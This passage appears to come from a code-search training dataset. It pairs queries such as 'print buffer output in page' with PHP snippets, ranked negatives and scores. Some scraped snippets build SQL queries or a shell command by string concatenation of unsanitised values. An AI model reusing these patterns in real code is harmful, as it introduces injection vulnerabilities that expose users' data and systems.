we want\n foreach ($this->all() as $record)\n if ($record->id == $which)\n return $record;\n return null;\n }", "public function getItem($key);", "public function getItem($key);", "public function getItem($key);", "public function getItem($key);", "public function getItem()\n {\n $query = $this->grammar->compileGetItem($this);\n\n $result = $this->connection->getClient()->getItem($query);\n\n return $this->processor->processItem($result);\n }", "public static function getItem($data, $where) {\n \t// or maybe should implement AbstractItem::getItem\n $query = new DBQuery();\n return $query->table(self::$tableName)\n ->getFields($data)\n ->where($where)\n ->Query();\n }", "public function getItem($pk = null)\n {\n if ($item = parent::getItem($pk)) {\n // TODO?\n }\n\n return $item;\n }", "function backup_migrate_crud_get_item($type, $id) {\n if ($type = backup_migrate_crud_type_load($type)) {\n return $type->item($id);\n }\n}", "public function get($which)\n\t{\n\t\tforeach ($this->data as $record)\n\t\t\tif ($record['id'] == $which)\n\t\t\t\treturn $record;\n\t\treturn null;\n\t}", "abstract public function getItem($url,$itemId);", "public function fetchItemByHash( $hash )\r\n {\r\n if (empty( $this->items ))\r\n {\r\n return false;\r\n }\r\n \r\n foreach ( $this->items as $item )\r\n {\r\n if ($item['hash'] == $hash)\r\n {\r\n return $item;\r\n }\r\n }\r\n \r\n return false;\r\n }", "public function load()\n\t{\n\t\tif ( !is_array( $this->_id ) )\n\t\t\tthrow new \\RuntimeException( 'item does not exist (anymore)' );\n\n\t\tif ( !is_array( $this->_record ) )\n\t\t{\n\t\t\tstatic::updateSchema( $this->_source );\n\n\t\t\t$query = $this->_source->createQuery( static::set() );\n\n\t\t\tforeach ( $this->_id as $name => $value )\n\t\t\t\t$query->addCondition( $this->_source->quoteName( $name ) . '=?', true, $value );\n\n\t\t\t$matches = $query->limit( 2 )->execute();\n\n\t\t\tif ( $matches->count() !== 1 )\n\t\t\t\tthrow new datasource_exception( $this->_source, 'item missing in datasource' );\n\n\t\t\t$this->_record = $matches->row();\n\t\t}\n\n\t\treturn $this->_record;\n\t}", "public function getItem()\n {\n if ($this->item !== null) {\n return $this->item;\n }\n\n $this->item = 'lol';\n\n return $this->getItem();\n }", "public function get($name)\n\t{\n\t\tforeach ($this->data as $record)\n\t\t\tif ($record['name'] == $name)\n\t\t\t\treturn $record;\n\t\treturn null;\n\t}", "public function getItem()\n {\n return $this->get(self::ITEM);\n }", "public function getSecondItem();", "protected function getItemOrDefault($name, $itemName, $default = null) {\n return isset($this->data[$name][$itemName]) ? $this->data[$name][$itemName] : $default;\n }", "public function hasItemdata(){\n return $this->_has(22);\n }", "public function getUnknownItem()\n {\n $key = 'test';\n $composed = 'cache-bin:test';\n $server = $this->getMemcachedMock(['get']);\n $server->expects($this->once())\n ->method('get')\n ->with($composed)\n ->willReturn(false);\n $this->driver->server = $server;\n $item = $this->driver->get($key);\n $this->assertNull($item->getData());\n $this->assertFalse($item->isValid());\n }", "function get_data($name) {\n return isset($this->data[$name]) ? $this->data[$name] : null;\n }", "public function getNamedItem($name) { }", "private function fetchIt($item) {\n $book_id = $item->book_id;\n $book_title = $item->book_title;\n $book_author = $item->book_author === null ? \"\" : $item->book_author;\n $book_editor = $item->book_editor === null ? \"\" : $item->book_editor;\n $book_image = $item->book_image === null ? \"\" : $item->book_image;\n $book_state = $item->book_state;\n $cycle = $item->cycle;\n $classe = $item->classe;\n $book_unit_prise = $item->book_unit_prise;\n $book_stock_quantity = $item->book_stock_quantity;\n $b = new Book();\n return $b->setData($book_id, $book_title, $book_author, $book_editor, $book_image,\n $book_state, $cycle, $classe, $book_unit_prise, $book_stock_quantity);\n }", "public function getItemByPresentationId($data)\n\t{\n\t\t$id = (is_array($data)) ? $data['presentation_id'] : (int) $data;\n\n\t\treturn $this->fetchRow(\n\t\t\t\t\t$this->select()\n\t\t\t\t\t->where('presentation_id = ?', $id)\n\t\t\t\t);\n\n\t}", "public function getItem($pk = null) \r\n\t{\r\n\t\t// Access the component parameters\r\n\t\t$params = JComponentHelper::getParams('com_ktbtracker');\r\n\t\t\r\n\t\t// Initialise variables.\r\n\t\t$pk = (! empty($pk)) ? $pk : (int) $this->getState($this->getName() . '.id' );\r\n\t\t$table = $this->getTable();\r\n\t\t\r\n\t\tif ($pk > 0) {\r\n\t\t\t// Attempt to load the row.\r\n\t\t\t$return = $table->load($pk);\r\n\t\t\t\r\n\t\t\t// Check for a table object error.\r\n\t\t\tif ($return === false && $table->getError()) {\r\n\t\t\t\t$this->setError($table->getError());\r\n\t\t\t\treturn false;\r\n\t\t\t}\r\n\t\t}\r\n\t\t\r\n\t\t// Convert to the JObject before adding other data.\r\n\t\t$properties = $table->getProperties(true);\r\n\t\t$item = JArrayHelper::toObject($properties, 'JObject');\r\n\t\t\r\n\t\tif (property_exists($item, 'params')) {\r\n\t\t\t$registry = new Registry();\r\n\t\t\t$registry->loadJSON($item->params);\r\n\t\t\t$item->params = $registry->toArray();\r\n\t\t}\r\n\t\t\r\n\t\t// Augment the item with any additional details;\r\n\t\t$this->addItemDetails($item);\r\n\t\t\r\n\t\treturn $item;\r\n\t}", "public function get($key){\n\t\treturn (isset($this->data[$key])?$this->data[$key]:null);\n\t}", "public function getItem() \n {\n $this->checkUserIsLogged();\n $params = Route::getUrlParameters();\n $id = $params['id'];\n try {\n $item = new Item;\n $item->getItem($id);\n View::renderJson($item);\n } catch (Exception $e) {\n View::renderJson(['status' => 0, 'message' => $e]);\n }\n }", "public function getItem($pk = null) {\n if ($item = parent::getItem($pk)) {\n $db = JFactory::getDbo();\n $query = $db->getQuery(true);\n $query\n ->select('p.name AS processing, p.parameters AS processing_parameters, p.auto AS processing_auto, p.command AS processing_command, p.contact_id AS processing_contact_id, p.map_id AS processing_map_id')\n ->from(' #__sdi_processing AS p ')\n ->where('p.id = ' . (int) $item->processing_id);\n $db->setQuery($query);\n $result = $db->loadObject();\n\n $item->processing_label = $result->processing;\n $item->processing_parameters = $result->processing_parameters;\n $item->processing_command = $result->processing_command;\n $item->processing_auto = $result->processing_auto;\n $item->processing_contact_id= $result->processing_contact_id;\n $item->processing_map_id=$result->processing_map_id;\n \n $query = $db->getQuery(true);\n $query ->select($db->quoteName('users2.name', 'user'))\n ->from(' #__sdi_user AS sdi_user ')\n ->join('LEFT', '#__users AS users2 ON users2.id=sdi_user.user_id')\n ->where('sdi_user.id = ' . (int) $result->processing_contact_id);\n $db->setQuery($query);\n $result = $db->loadObject();\n \n $item->processing_contact_label= $result->user;\n\n $query = $db->getQuery(true);\n $query ->select($db->quoteName('users.name', 'user'))\n ->from(' #__users AS users ')\n ->where('users.id = ' . (int) $item->created_by);\n $db->setQuery($query);\n $result = $db->loadObject();\n\n $item->user_label = $result->user;\n\n self::loadJson($item);\n\n }\n\n return $item;\n\n }", "function getDataItemByID($strDataID)\n{\n global $db;\n $tbl = new cGaItem();\n $dataEdit = $tbl->findAll(\"id = $strDataID\", \"\", \"\", null, 1, \"id\");\n $arrResult['dataIdItem'] = $dataEdit[$strDataID]['id'];\n //$arrResult['dataItemStock'] = $dataEdit[$strDataID]['item_stock'];\n return $arrResult;\n}", "public function get($key) {\n\t\tif ($this->has($key)) {\n\t\t\treturn $this->data[$key];\n\t\t}\n\t\treturn null;\n\t}", "function load_grade_item() {\n if (empty($this->grade_item) && !empty($this->itemid)) {\n $this->grade_item = grade_item::fetch('id', $this->itemid);\n }\n return $this->grade_item;\n }", "function getItemLookup ( $asin, $associatedid, $use_cache = TRUE )\n\t{\n\t\t$is_cached = false;\n\t\tif ( $use_cache ) {\n\t\t\t$cached_item = get_option( $this->db_options_name_cached_item );\n\t\t\tif ( is_array( $cached_item ) ) {\n\t\t\t\tif ( isset( $cached_item[$asin] ) ) {\n\t\t\t\t\tif ( (time() - $cached_item[$asin]['time']) < 60 * 60 * 23 ) {\n\t\t\t\t\t\t$item_result = $cached_item[$asin]['item'];\n\t\t\t\t\t\t$is_cached = true;\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t}\n\t\t}\n\n\t\tif ( ! $is_cached ) {\n\t\t\t$item_result = $this->handleRESTcall( $this->getRestItemLookupParams( $asin, $associatedid ) );\n\t\t\tif ( ! (isset( $item_result['Error'] ) || isset( $item_result['Items']['Request']['Errors'] )) ) {\n\t\t\t\t$cached_item[$asin]['time'] = time();\n\t\t\t\t$cached_item[$asin]['item'] = $item_result;\n\t\t\t\tupdate_option( $this->db_options_name_cached_item, $cached_item );\n\t\t\t}\n\t\t}\n\t\treturn ($item_result);\n\t}", "public function getItem(string $id)\n {\n try {\n return array_filter($this->items, fn ($item) => $item['id'] === $id)[0];\n } catch (Throwable $t) {\n return null;\n }\n }", "public function item($index) {\n return isset($this->list[$index]) ? $this->list[$index] : null;\n }", "public function get($key){\n\t\t\treturn (isset($this->data[$key]) ? $this->data[$key] : NULL);\n\t\t}", "function get_item_by_id($id) {\n\tglobal $wpdb;\n\tglobal $webgrain2;\n\t$sql = \"SELECT * FROM \" . $webgrain2->second_menu_table . \" WHERE id = $id\";\n\t$result = $wpdb->get_results($wpdb->prepare($sql, 0));\n\tif(!empty($result)) { foreach($result as $r) { return $r; } }\n}", "public function getItem($label) {\n foreach ($this->items as $item) {\n if ($item === self::SEPARATOR) {\n continue;\n }\n if ($item->getLabel() == $label) {\n return $item;\n }\n }\n\n return null;\n }", "function getItemByID($barcode, $store_id) {\r\t\t$sql = \"SELECT * FROM local_store_\".$store_id.\"_item i, category c, stock s WHERE i.barcode = '\".$barcode.\"' AND i.c_id = c.c_id AND i.barcode = s.barcode AND s.s_id = '\".$store_id.\"' \";\r\t\t$query = $this->db->query($sql);\r\t\t\r\t\tif($query->num_rows() == 1)\r\t\t\treturn $query->row_array();\r\t\telse\r\t\t\treturn FALSE;\r\t}", "public static function item($type,$code)\n {\n \tif(!isset(self::$_items[$type]))\n \t\tself::loadItems($type);\n \treturn isset(self::$_items[$type][$code]) ? self::$_items[$type][$code] : false;\n }", "public function getItem($pk = null)\n\t{\n\t\t$app\t= JFactory::getApplication();\n\t\t$pk = (!empty($pk)) ? $pk : $app->input->getInt(\"extid\");\n\t $table = $this->getTable();\n\t\n\t if ($pk > 0)\n\t {\n\t try{\n\t // Attempt to load the row.\n\t $return = $table->load($pk);\n\t }catch (Exception $e){\n\t // Check for a table object error.\n\t throw new Exception('Database Failur: no element Found'. $e . $return);\n\t }\n\t }\n\t\n\t // Convert to the JObject before adding other data.\n\t $properties = $table->getProperties(1);\n\t $item = ArrayHelper::toObject($properties);\n\t\n\t if (property_exists($item, 'params'))\n\t {\n\t $registry = new Registry;\n\t $registry->loadString($item->params);\n\t $item->params = $registry->toArray();\n\t }\n\t\n\t\treturn $item;\n\t}", "public function searchItemById(){\n\n $this -> Conexion -> abrir();\n $this -> Conexion -> ejecutar( $this -> ProductoDAO -> searchItemById());\n $res = $this -> Conexion -> extraer();\n $this -> idProducto = $res[0];\n $this -> nombre = $res[1];\n $this -> foto = $res[2];\n $this -> descripcion = $res[3];\n $this -> precio = $res[4];\n $this -> Conexion -> cerrar();\n }", "protected function load_item( $name ) {\n\t\t// An item name has been provided\n\t\tif ( is_string( $name ) ) {\n\t\t\t// No need to reload the same item\n\t\t\tif ( isset( $this->item['name'] ) and $this->item['name'] === $name ) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t// Query condition\n\t\t\t/*sqlite_escape_string repalce with mysqli_escape_string PHP7 Compatibility*/\n\t\t\t$where = \"name = '\" . mysqli_escape_string( (string) $name ) . \"'\";\n\t\t} // End if().\n\t\telse {\n\t\t\t// Quick id cleanup\n\t\t\t$id = (int) $name;\n\n\t\t\t// No need to reload the same item\n\t\t\tif ( isset( $this->item['id'] ) and (int) $this->item['id'] === $id ) {\n\t\t\t\treturn true;\n\t\t\t}\n\n\t\t\t// Query condition\n\t\t\t$where = \"id = $id\";\n\t\t}\n\n\t\t// Select the item by name\n\t\t$item = ThumbsUp_Database::db()->arrayQuery(\"\n\t\t\tSELECT id, name, closed, date\n\t\t\tFROM items\n\t\t\tWHERE $where\", SQLITE_ASSOC);\n\n\t\t// The item does not exist\n\t\tif ( empty( $item ) ) {\n\t\t\t// Reset the item property\n\t\t\t$this->item = null;\n\t\t\treturn false;\n\t\t}\n\n\t\t// Load the item row into the class\n\t\t$this->item = current( $item );\n\t\treturn true;\n\t}", "abstract public function getByItemId($itemId);", "public function first() { \t\n \ttry{\n if (!is_array($this->Items)) return $this->Items ; \t\t\n if (!count($this->Items)) return null; \t\n \treset($this->Items); \t\t\n return $this->Items[key($this->Items)]; \n }catch(Exception $e){\n throw $e;\n } \t\n }", "public static function getArrayItem (array $data, $key)\n\t{\n\t\treturn !empty ($data[$key]) ? $data[$key] : false;\n\t}", "function getItem($id){\n global $db;\n \n $stmt=$db->prepare(\"SELECT idItem, `name`, amount, unitPrice, salesPrice, parAmount FROM inventory WHERE idItem = :id\");\n \n\t\t$binds= array(\n\t\t\t\":id\"=>$id\n\t\t);\n\t\t\n if($stmt->execute($binds) && $stmt->rowCount()>0){\n $results = $stmt->fetchAll(PDO::FETCH_ASSOC);\n return ($results);\n }\n else{\n return false;\n }\n }", "public function getItem($id = null) {\n\t \n\t if (!$id) {\n\t $id = $this->getState($this->option.\".profile.user_id\");\n\t\t}\n\t\t\n\t\t$storedId = $this->getStoreId($id);\n\t\t\n\t\tif (!isset($this->item[$storedId])) {\n\n\t\t $db = JFactory::getDbo();\n\t\t $query = $db->getQuery(true);\n\t\t $query\n\t\t ->select(\"*\")\n\t\t ->from(\"#__itpsc_profiles\")\n\t\t ->where(\"id = \" . (int)$id);\n\n\t\t $db->setQuery($query, 0, 1);\n\t\t $result = $db->loadAssoc();\n \n\t\t\t// Check published state.\n\t\t\tif (empty($result)){\n\t\t\t\treturn null;\n\t\t\t}\n\n\t\t\t$this->item[$storedId] = $result;\n\t\t\t\n\t\t}\n\n\t\treturn $this->item[$storedId];\n\t}", "public function get($index) {\n if (key_exists($index, $this->items)) {\n return $this->items[$index];\n }\n return false;\n }", "public function getItemByValues(array $data)\n\t{\n\t\treturn $this->fetchRow(\n\t\t\t\t\t$this->select()\n\t\t\t\t\t->where('session_id = ?', $data['session_id'])\n\t\t\t\t\t->where('presentation_id = ?', $data['presentation_id'])\n\t\t\t\t);\n\t}", "public function getItem(): ?array\n {\n if (empty($this->params['itemId']->value)) {\n return null;\n }\n \n $sql = 'SELECT *' . \n ' FROM #__enikeishik_ufmexample_items' . \n ' WHERE id=' . $this->params['itemId']->value;\n return $this->db->getItem($sql);\n }" ]
[ "0.69623756", "0.6719115", "0.6553976", "0.6484104", "0.64671034", "0.64640874", "0.64545715", "0.64404917", "0.6397468", "0.6388205", "0.637693", "0.637693", "0.6356603", "0.63295865", "0.63257134", "0.6302079", "0.63009995", "0.62852335", "0.6245539", "0.623067", "0.62167233", "0.62042487", "0.6190355", "0.6175342", "0.6161753", "0.61251056", "0.6076994", "0.6051615", "0.6038887", "0.6038432", "0.60351485", "0.59975433", "0.5984727", "0.5971495", "0.595571", "0.5948714", "0.5947868", "0.593786", "0.5928312", "0.59177274", "0.59162617", "0.59088886", "0.59086525", "0.59081256", "0.5906066", "0.58759725", "0.5859249", "0.58562416", "0.58451146", "0.5828829", "0.5824072", "0.58124775", "0.58124775", "0.58124775", "0.58124775", "0.5812106", "0.5805996", "0.5785675", "0.57822126", "0.57745266", "0.5773964", "0.5772517", "0.577105", "0.5759785", "0.57572484", "0.5748213", "0.57467854", "0.5736775", "0.57358885", "0.573353", "0.573026", "0.5723081", "0.57155013", "0.56983626", "0.567871", "0.56638944", "0.5650107", "0.5642767", "0.5628171", "0.5626", "0.562545", "0.56183904", "0.561363", "0.5613305", "0.5610722", "0.560887", "0.56082755", "0.5603638", "0.56034607", "0.56026924", "0.5599683", "0.5598254", "0.55877", "0.5585177", "0.55802363", "0.5580155", "0.5577699", "0.5574751", "0.55708545", "0.55605817" ]
0.6154705
25
print buffer output in page
public function end() { $this->{$this->output_buffer} = ob_get_clean(); }
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "static private function flushWebPrintBuffer() {\n if (!count(WebMode::$printBuffer)) { return; }\n\n $zIndex = 99998; // one less than error page\n\n echo \"<style>\\n\";\n echo \".tht-print { white-space: pre; border: 0; border-left: solid 16px #787fff; padding: 4px 32px; margin: 4px 0 0; font-family: \" . u_Css::u_monospace_font() .\"; }\\n\";\n echo \".tht-print-panel { position: fixed; top: 0; left: 0; z-index: $zIndex; width: 100%; padding: 24px 32px 24px; font-size: 18px; background-color: rgba(255,255,255,0.98); -webkit-font-smoothing: antialiased; color: #222; box-shadow: 0 4px 4px rgba(0,0,0,0.15); max-height: 400px; overflow: auto; }\\n\";\n echo \"</style>\\n\";\n\n echo \"<div class='tht-print-panel'>\\n\";\n foreach (WebMode::$printBuffer as $b) {\n echo \"<div class='tht-print'>\" . $b . \"</div>\\n\";\n }\n echo \"</div>\";\n }", "public function buffer()\n {\n if ($this->_disabled) {\n return;\n }\n\n if ($this->isTurbo()) {\n return;\n }\n\n ob_start();\n $this->output();\n $this->_html = ob_get_contents();\n ob_end_clean();\n }", "public function print() {\n $output = Util::outputBufferSafe(function() {\n /** @noinspection PhpIncludeInspection */\n include $this->page_info->getSourceAbsolutePath();\n });\n $this->minifier->add($output);\n echo $this->minifier->minify();\n }", "public function dumpBuffer()\n {/*{{{*/\n $data = $this->_putbackBuffer;\n $colLimit = 15;\n $col = 0;\n $length = count($data);\n for ($i=0; $i < $length; $i++) {\n printf('%02X ', $data[1]);\n if ($col==$colLimit) {\n $col=0;\n print PHP_EOL;\n } else {\n $col++;\n }\n }\n print PHP_EOL;\n }", "public function printContent() {\r\n $this->content .= $this->doc->endPage();\r\n echo $this->content;\r\n }", "function printContent()\t{\n\t\t$this->content.=$this->doc->endPage();\n\t\techo $this->content;\n\t}", "function printContent()\t{\n\n\t\t$this->content.=$this->doc->endPage();\n\t\techo $this->content;\n\t}", "function printContent()\t{\n\n\t\t$this->content.=$this->doc->endPage();\n\t\techo $this->content;\n\t}", "function printContent()\t{\n\n\t\t$this->content.=$this->doc->endPage();\n\t\techo $this->content;\n\t}", "public function printHtmlPage(){\n\n // Change the content headers to that of HTML\n header('Content-type: text/html; charset=utf8');\n\n // Include the HTML wrapper and collect output\n ob_start();\n require_once(LEGACY_MMRPG_ROOT_DIR.'markup/html-wrapper.php');\n $html_markup = ob_get_clean();\n\n // Print out the collected markup and exit\n echo($html_markup);\n exit();\n\n }", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "public function printContent() {}", "function printContent()\t{\n\n\t\t\t\t\t$this->content.=$this->doc->endPage();\n\t\t\t\t\techo $this->content;\n\t\t\t\t}", "function printContent()\t{\n\n\t\t$this->content .= $this->doc->endPage();\n\t\techo $this->content;\n\t}", "function printContent()\t{\n\t\t$this->content.= $this->doc->endPage();\n\t\techo $this->content;\n\t}", "public function print()\n {\n if (!headers_sent()) {\n header(\"Content-Type: text/html\");\n }\n\n $data = \"\";\n $args = func_get_args();\n foreach ($args as $arg) {\n $data .= $this->processLine($arg);\n }\n\n echo \"<style>$this->style</style>\";\n echo \"$data\";\n echo \"<script type='text/javascript'>$this->scripts</script>\";\n }", "public function printPage()\n {\n $this->printDoctype();\n $this->printOpenHtml();\n $this->printHead(' ');\n $this->printBody(' ');\n $this->printCloseHtml();\n }", "abstract function printOutput()", "public function print();", "function buffer_the_output() {\r\n\tob_start();\r\n}", "public function render()\n\t{\n\t\t$this->printer->render();\n\t}", "function tf_print($value, $die = false) {\r\n static $first_time = true;\r\n\r\n if ($first_time) {\r\n ob_start();\r\n ?><style type=\"text/css\">\r\n div.tf_print_r {\r\n max-height: 500px;\r\n overflow-y: scroll;\r\n background: #111;\r\n margin: 10px 30px;\r\n padding: 0;\r\n border: 1px solid #F5F5F5;\r\n position: relative;\r\n z-index: 10;\r\n }\r\n\r\n div.tf_print_r pre {\r\n color: #47EE47;\r\n text-shadow: 1px 1px 0 #000;\r\n font-family: Consolas, monospace;\r\n font-size: 12px;\r\n margin: 0;\r\n padding: 5px;\r\n display: block;\r\n line-height: 16px;\r\n text-align: left;\r\n }\r\n </style><?php\r\n echo str_replace(array(' ', \"\\n\"), '', ob_get_clean());\r\n }\r\n\r\n ?><div class=\"tf_print_r\"><pre><?php print htmlspecialchars(tf_print_r($value, true), null, 'UTF-8'); ?></pre></div><?php\r\n\r\n $first_time = false;\r\n\r\n if ($die) die();\r\n }", "public function flush_buffer() {\n\t\techo(self::$core_display->buffer);\n\t\tself::$core_display->buffer = '';\n\t}", "public function start_buffer() {\n\t\tob_start();\n\t}", "function _out($s)\n\t\t{\n\t\t\tif($this->state==2)\t$this->pages[$this->page] .= $s.\"\\n\";\n\t\t\telse $this->buffer .= $s.\"\\n\";\n\t\t}", "public function printOut() {\n $this->_controller->getResponse()->printOut();\n }", "function printOut(){\n\t\tfor($i=0;$i<sizeof($this->_Items);$i++){\n\t\t\t$this->_Items[$i]->flush();\n\t\t}\n\t}", "private function renderWithDocument() \n\t{\n\t\t$this->controller->go(RootPanel::get());\n\t\t$output\t= Document::get()->assemble();\n\t\tprintf('%s', $output);\n\t}", "public function print(){\n echo $this->output;\n }", "public function render(){\n $web=$this->tmp;\n // $this->pdf=self::_pipeExec(\n $cmd = '\"'.$this->cmd.'\"'\n .(($this->copies>1)?' --copies '.$this->copies:'') // number of copies\n .' --orientation '.$this->orient // orientation\n .' --page-size '.$this->size // page size\n .($this->quiet?' --quiet':'') // table of contents\n .($this->print?' --print-media-type':'') // table of contents\n .($this->toc?' --toc':'') // table of contents\n .($this->grayscale?' --grayscale':'') // grayscale\n .(($this->title!='')?' --title \"'.$this->title.'\"':'') // title\n .' \"'.$web.'\" \"'.$this->tmp.'.pdf\"'; // URL and optional to write to STDOUT\n if( $this->debug ) echo \"Running rendering command: $cmd\\n\";\n exec( $cmd );\n // if(strpos(strtolower($this->pdf['stderr']),'error')!==false)throw new Exception('WKPDF system error: <pre>'.$this->pdf['stderr'].'</pre>');\n // if($this->pdf['stdout']=='')throw new Exception('WKPDF didn\\'t return any data. <pre>'.$this->pdf['stderr'].'</pre>');\n // if(((int)$this->pdf['return'])>1)throw new Exception('WKPDF shell error, return code '.(int)$this->pdf['return'].'.');\n // $this->status=$this->pdf['stderr'];\n // $this->pdf=$this->pdf['stdout'];\n if( !$this->debug ) unlink($this->tmp);\n $this->pdf = file_get_contents( $this->tmp.\".pdf\" );\n if( $this->debug && strlen( $this->pdf ) == 0 ) echo \"Generated PDF is zero length\\n\";\n if( !$this->debug ) unlink( $this->tmp.\".pdf\" );\n }", "public function printContent() {\n\t\t//$this->doc->addStyleSheet();\n\t\t$this->content .= $this->doc->endPage();\n\t\techo $this->doc->insertStylesAndJS($this->content);\n\t}", "public function pagePrint()\r\n\t{\r\n\t\t// Donnees\r\n\t\t$eventId = Bn::getValue('event_id');\r\n\t\t$oEvent = new Oevent($eventId);\r\n\t\t$oEventmeta = new Oeventmeta($eventId);\r\n\r\n\t\t// Controle de l'autorisation\r\n\t\tif ( $oEvent->getVal('ownerid') != Bn::getValue('user_id') && !Oaccount::isLoginAdmin() ) return false;\r\n\r\n\t\t// Preparer les champs de saisie\r\n\t\t$body = new Body();\r\n\r\n\t\t// Titres\r\n\t\t$t = $body->addP('', '', 'bn-title-2');\r\n\t\t$t->addBalise('span', '', LOC_ITEM_PRINT);\r\n\r\n\t\t// Infos generales\r\n\t\t$form = $body->addForm('frmPrint', BPREF_UPDATE_PRINT, 'divPreferences_content');\r\n\t\t//$form->getForm()->addMetadata('success', \"updated\");\r\n\t\t//$form->getForm()->addMetadata('dataType', \"'json'\");\r\n\r\n\t\t$div = $form->addDiv('', 'bn-div-left');\r\n\t\t// Liste des fonts\r\n\t\t$fonts=array(\r\n\t\t 'courier' => 'courier',\r\n\t\t 'helvetica' => 'helvetica',\r\n\t\t 'times' => 'times'\r\n\t\t );\r\n\r\n\t\t /*\r\n\t\t $handle=@opendir(\"fpdf/font\");\r\n\t\t if ($handle)\r\n\t\t {\r\n\t\t $masque = \"|(.*).z|\";\r\n\t\t while ($file = readdir($handle))\r\n\t\t {\r\n\t\t if (preg_match($masque, $file, $match)) $fonts[$match[1]] = $match[1];\r\n\t\t }\r\n\t\t closedir($handle);\r\n\t\t }\r\n\t\t */\r\n\t\t $d = $div->addDiv('', 'bn-div-line');\r\n\t\t $cbo = $d->addSelect('titlefont', LOC_LABEL_EVENT_FONT);\r\n\t\t $cbo->addOptions($fonts, $oEventmeta->getVal('titlefont'));\r\n\t\t $edt = $d->addEdit('titlesize', LOC_LABEL_EVENT_SIZE, $oEventmeta->getVal('titlesize'));\r\n\r\n\t\t $d = $div->addDiv('', 'bn-div-clear');\r\n\t\t $edt = $d->addP('', LOC_LABEL_EVENT_POSITION, 'bn-p-info');\r\n\r\n\t\t $dl = $div->addDiv('', 'bn-div-left');\r\n\t\t $edt = $dl->addEditFile('logo', LOC_LABEL_EVENT_LOGO, '');\r\n\t\t $edt->noMandatory();\r\n\t\t $logo = $oEventmeta->getVal('logo');\r\n\t\t if (!empty($logo) )\r\n\t\t {\r\n\t\t \t$logo = '../img/poster/'.$logo;\r\n\t\t \t$div->addImage('logo', $logo, 'logo', array('height'=>70, 'width'=>155));\r\n\t\t }\r\n\r\n\t\t $d = $div->addDiv('', 'bn-div-line bn-div-clear');\r\n\t\t $edt = $d->addEdit('top', LOC_LABEL_EVENT_TOP, $oEventmeta->getVal('top'));\r\n\t\t $edt = $d->addEdit('left', LOC_LABEL_EVENT_LEFT, $oEventmeta->getVal('left'));\r\n\t\t $d = $div->addDiv('', 'bn-div-line bn-div-clear');\r\n\t\t $edt = $d->addEdit('width', LOC_LABEL_EVENT_WIDTH, $oEventmeta->getVal('width'));\r\n\t\t $edt = $d->addEdit('height', LOC_LABEL_EVENT_HEIGHT, $oEventmeta->getVal('height'));\r\n\t\t $d->addBreak();\r\n\r\n\t\t $d = $form->addDiv('', 'bn-div-btn');\r\n\t\t if (!empty($logo) )\r\n\t\t {\r\n\t\t \t$d->addButton('btnDellogo', LOC_BTN_DELETE_LOGO, BPREF_DELETE_LOGO, 'trash', 'divPreferences_content');\r\n\t\t }\r\n\t\t $btn = $d->addButton('btnVisu', LOC_BTN_VISU, BPREF_VISU_PRINT, 'document');\r\n\t\t $btn->completeAttribute('class', 'bn-popup');\r\n\t\t $d->addButtonValid('btnValid', LOC_BTN_UPDATE);\r\n\r\n\t\t // Envoi au navigateur\r\n\t\t $body->addJqready('pagePrint();');\r\n\t\t $body->display();\r\n\t\t return false;\r\n\t}", "public function startBuffer(): void {\n\t\tob_start();\n\t}", "function output_page($title, $body, $return_value = false) {\n\n // Draw the page\n $output = view('page/shell', array(\n 'title' => $title,\n 'body' => $body\n )\n );\n\n if (!$return_value) {\n // Break long output to avoid a php performance bug\t\t\t\t\t\t\t\n $split_output = str_split($output, 1024);\n\n foreach ($split_output as $chunk)\n echo $chunk;\n }\n else\n return $output;\n}", "public function run()\n {\n $this->renderContent();\n echo ob_get_clean();\n }", "protected function afterPrint()\n {\n //just a shell\n }", "public function printResult() {\n $this->result->path = $this->getType() . 's/' . $this->getName() . '#tmp';\n\n // text/plain is used to support IE\n header('Cache-Control: no-cache');\n header('Content-Type: text/plain; charset=utf-8');\n\n print $this->getResult();\n }", "function pied()\n\t{\n\t\techo \"\\t\".'</body>'.\"\\n\".'</html>';\n\t}", "function printContent() {\n\n $this->content.=$this->doc->endPage();\n\t\tif(isset($_REQUEST[export])){\n\t\t\theader(\"Content-type: application/force-download\");\n\t\t\theader(\"Content-Disposition: filename=participants_\".$_REQUEST['cuid'].\".csv\");\n\n\t\t\theader(\"Content-Description: Downloaded File\");\n\n\t\t\techo $this->csvExport($_REQUEST['cuid']);\n\t\t} else {\n\t\t\techo $this->content;\n\t\t}\n }", "function printer(Buffer $buffer) {\n while( true ) {\n // Yield a promise task and wait for the result - this is non-blocking\n $value = ( yield Util::async($buffer->read()) );\n\n echo \"Printer: \", $value, PHP_EOL;\n\n // Yield a generator task for nested_printer and wait for it to complete\n // This is also non-blocking\n // Since a generator task has no result, we don't need to put it into a variable\n yield Util::async(nested_printer($buffer));\n }\n}", "function toScreen(){\n\t\t\tif($content = $this->process()){\n\t\t\t\techo \"<pre>\";\n\t\t\t\techo nl2br(htmlspecialchars($content));\n\t\t\t\techo \"</pre>\";\n\t\t\t\t\n\t\t\t\techo $content;\n\t\t\t}else{\n\t\t\t\ttrigger_error(\"An error occured during XML Data generation\",1);\n\t\t\t}\n\t\t}", "function render() {\r\n $sendOutput = true;\r\n // check if plog is configured to use conditional http headers and stuff like\r\n // that... Also, use the HttpCache class to determine whether we should send the\r\n // content or not\r\n if ($this->isCached()) {\r\n // some debug information\r\n $timestamp = $this->_templateObject->getCreationTimestamp();\r\n // and now send the correct headers\r\n if (Http_Cache::httpConditional($timestamp, $this->getCacheTimeSeconds())) $sendOutput = false;\r\n $header = \"Last-Modified: \" . gmdate('D, d M Y H:i:s', $timestamp) . ' GMT';\r\n header($header);\r\n }\r\n else {\r\n // send the results if needed\r\n $sendOutput = true;\r\n }\r\n if ($sendOutput) {\r\n // pass all the values to the template object\r\n $this->_templateObject->assign($this->_params);\r\n // and finally send them after calling the pre-processing method\r\n $content = $this->_templateObject->fetch($this->getViewId());\r\n print ($content);\r\n }\r\n }", "public function printOut() {\n\t\t$html = new Html(\"\");\n\t\t$html->printTeamOut($this->challengeId, $this->challengeName, $this->challengeAmount);\n\t}", "public function createPage()\n {\n echo 